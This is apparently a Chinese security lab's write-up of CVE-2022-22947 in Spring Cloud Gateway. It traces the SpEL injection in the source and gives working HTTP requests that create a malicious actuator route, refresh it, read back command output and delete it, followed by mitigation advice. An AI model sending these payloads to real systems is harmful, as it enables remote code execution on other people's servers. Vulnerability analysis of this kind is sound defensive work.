Spring Cloud Gateway远程代码执行CVE-2022-22947漏洞分析及复现

0x01 漏洞描述

Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。据公布的漏洞描述称,当Spring Cloud Gateway 执行器端点启用、公开且不安全时,使用Spring Cloud Gateway的应用程序容易受到代码注入攻击。远程攻击者可以发出含有恶意代码的请求,从而允许在远程主机上任意远程执行。

0x02 漏洞影响

漏洞编号:CVE-2022-22947

影响版本:

  • Spring Cloud Gateway < 3.1.1

  • Spring Cloud Gateway < 3.0.7

  • Spring Cloud Gateway 较低、不受支持的版本也会受到影响
  • 风险等级:【高危】攻击者可利用该漏洞远程执行任意代码,目前已发现公开漏洞POC。

    0x03 环境搭建

    本次在ubuntu云服务器上利用docker搭建漏洞复现环境

    git clone https://github.com/vulhub/vulhub cd vulhub/spring/CVE-2022-22947/docker-compose up -d //启动环境docker ps -a //查看测试环境运行情况

    访问地址:http://IP:8080

    0x04 漏洞分析

    部分源码:

    static Object getValue(SpelExpressionParser parser, BeanFactory beanFactory,String entryValue) {Object value;String rawValue = entryValue;if (rawValue != null) {rawValue = rawValue.trim();}if (rawValue != null && rawValue.startsWith("#{") && entryValue.endsWith("}")) {// assume it's spelStandardEvaluationContext context = new StandardEvaluationContext();context.setBeanResolver(new BeanFactoryResolver(beanFactory));Expression expression = parser.parseExpression(entryValue,new TemplateParserContext());value = expression.getValue(context);}else {value = entryValue;}return value;}

    漏洞定位:

    src/main/java/org/springframework/cloud/gateway/support/ShortcutConfigurable.java

    可以看到StandardEvaluationContext 上下文,它允许调用或调用任何有效的表达式。如果可以控制getValue 方法调用getValue方法取值时使用StandardEvaluationContext进行表达式解析。

    追踪getValue方法发现在ShortcutType枚举类中调用了getValue获取值(第100行)normalize针对value归一化同时也调用了getValue方法全局搜索ShortcutType这个枚举类。

    跟踪调用normalize 方法的位置。

    定位到ConfigurationService.java中ConfigurableBuilder的normalizeProperties函数,结合前面的代码分析,如果this.properties可控,那么最终控制ShortcutConfigurable.java中rawValue可控制SPEL 表达式中内容。

    分析得知gatValue函数在ShortcutType

    枚举类的三个取里被调用值

    (DEFAULT

    GATHER_LIST GATHER_LIST_TAIL_FLAG)

    根据官方文档表示称,acutator开启后可以通过访问/actuator/gateway/routes路径列出路由,路由中包含filter,如:

    /gateway/routes/{id_route_to_create}//访问该路径创建路由/actuator/gateway/refresh//访问该路径重载路由配置攻击者通过添加带有filter的恶意路由,当重新加载路由时,会触发对参数的归一化逻辑,从而导致filter参数value中的SPEL表达式被解析。

    官方文档地址:https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#actuator-api

    0x05 漏洞复现

    5.1 构造命令回显请求

    构造含有恶意SpEL表达式发送如下数据包来执行命令POST请求中SpEL表达式内容分析:

    (new String[]{\"id\"})//创建一个字符串(T(java.lang.Runtime).getRuntime().exec//运行代码的函数getInputStream()//获取执行结果T(org.springframework.util.StreamUtils).copyToByteArray//将执行结果转换为数组new String()//将数组转换为字符串
    POST /actuator/gateway/routes/hacktest HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 329{"id": "hacktest","filters": [{  "name": "AddResponseHeader",   "args": {       "name": "Result",        "value": "#{new       String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).      getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"        }       }       ],       "uri": "http://example.com"       }

    5.2 触发刷新路由

    发送POST方法请求/actuator/gateway/refresh,用于刷新路由,使刚添加的恶意路由生效:

    POST /actuator/gateway/refresh HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0

    5.3 命令回显

    在refresh路由时调用GatewayFilter中apply函数,当路由创建后,通过GET请求获取命令回显,发送如下数据包即可查看执行结果:

    GET /actuator/gateway/routes/hacktest HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0

    5.4 删除创建的路由

    可通过发送DELETE方法请求/actuator/gateway/routes/hacktest,删除所添加的路由:

    DELETE /actuator/gateway/routes/hacktest HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: close

    可以利用该漏洞构造发送含有恶意数据包反弹shell,由于文章篇幅原因这里不做过多赘述。注释:SpEL(Spring Expression Language),即Spring表达式语言。它是一种类似JSP的EL表达式,但又比后者更为强大有用的表达式语言。

    0x06 漏洞修复

    6.1 临时修复建议

    禁用:management.endpoint.gateway.enabled: false 如果需要执行器,则应使用 Spring Security 对其进行保护

    [参考地址]  :https://docs.spring.io/springboot/docs/current/reference/html/actuator.html#actuator.endpoints.security 

    6.2 通用修复建议

    官方已发布安全版本,请及时下载更新。[下载地址]  :https://github.com/spring cloud/spring-cloud-gateway 


    声明

    以上内容,均为文章作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

    长白山攻防实验室拥有该文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的副本,包括版权声明等全部内容。声明长白山攻防实验室允许,不得任意修改或增减此文章内容,不得以任何方式将其用于商业目的。

    ©著作权归作者所有,转载或内容合作请联系作者
    • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
      沈念sama阅读 218,386评论 6 506
    • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
      沈念sama阅读 93,142评论 3 394
    • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
      开封第一讲书人阅读 164,704评论 0 353
    • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
      开封第一讲书人阅读 58,702评论 1 294
    • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
      茶点故事阅读 67,716评论 6 392
    • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
      开封第一讲书人阅读 51,573评论 1 305
    • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
      沈念sama阅读 40,314评论 3 418
    • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
      开封第一讲书人阅读 39,230评论 0 276
    • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
      沈念sama阅读 45,680评论 1 314
    • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
      茶点故事阅读 37,873评论 3 336
    • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
      茶点故事阅读 39,991评论 1 348
    • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
      沈念sama阅读 35,706评论 5 346
    • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
      茶点故事阅读 41,329评论 3 330
    • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
      开封第一讲书人阅读 31,910评论 0 22
    • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
      开封第一讲书人阅读 33,038评论 1 270
    • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
      沈念sama阅读 48,158评论 3 370
    • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
      茶点故事阅读 44,941评论 2 355

    推荐阅读更多精彩内容